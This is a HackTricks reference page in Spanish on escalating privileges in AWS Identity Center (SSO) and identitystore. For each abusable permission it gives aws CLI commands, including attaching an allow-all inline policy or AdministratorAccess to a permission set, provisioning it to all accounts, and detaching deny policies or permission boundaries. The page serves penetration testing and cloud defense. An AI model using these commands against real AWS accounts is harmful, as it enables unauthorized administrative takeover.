AWS - SSO & identitystore Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Centro de Identidad de AWS / AWS SSO

Para obtener más información sobre el Centro de Identidad de AWS / AWS SSO, consulta:

pageAWS - IAM, Identity Center & SSO Enum

Ten en cuenta que de forma predeterminada, solo los usuarios con permisos del Cuenta de Administración podrán acceder y controlar el Centro de Identidad IAM. Los usuarios de otras cuentas solo podrán hacerlo si la cuenta es un Administrador Delegado. Consulta la documentación para más información.

Restablecer contraseña

Una forma sencilla de escalar privilegios en casos como este sería tener un permiso que permita restablecer las contraseñas de los usuarios. Desafortunadamente, solo es posible enviar un correo electrónico al usuario para restablecer su contraseña, por lo que necesitarías acceso al correo del usuario.

identitystore:CreateGroupMembership

Con este permiso, es posible agregar un usuario a un grupo para que herede todos los permisos que tiene el grupo.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que está otorgado a un usuario bajo su control

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se le otorga a un usuario bajo su control

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se otorga a un usuario bajo su control.

Para abusar de estos permisos en este caso, necesitas conocer el nombre de una política administrada por el cliente que se encuentre en TODAS las cuentas que se verán afectadas.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:GetRoleCredentials

Devuelve las credenciales a corto plazo de STS para un nombre de rol dado que está asignado al usuario.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Sin embargo, necesitas un token de acceso del que no estoy seguro cómo obtenerlo (TAREA).

sso:DetachManagedPolicyFromPermissionSet

Un atacante con este permiso puede eliminar la asociación entre una política administrada de AWS del conjunto de permisos especificado. Es posible otorgar más privilegios mediante la eliminación de una política administrada (política de denegación).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Un atacante con este permiso puede eliminar la asociación entre una política administrada por el cliente del conjunto de permisos especificado. Es posible otorgar más privilegios mediante la separación de una política administrada (política de denegación).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Un atacante con este permiso puede eliminar las permisos de una política interna del conjunto de permisos. Es posible otorgar más privilegios al desvincular una política interna (política de denegación).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Un atacante con este permiso puede eliminar el Límite de Permiso del conjunto de permisos. Es posible otorgar más privilegios al eliminar las restricciones en el Conjunto de Permisos proporcionadas por el Límite de Permiso.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de HackTricks AWS)!

Otras formas de apoyar a HackTricks:

Última actualización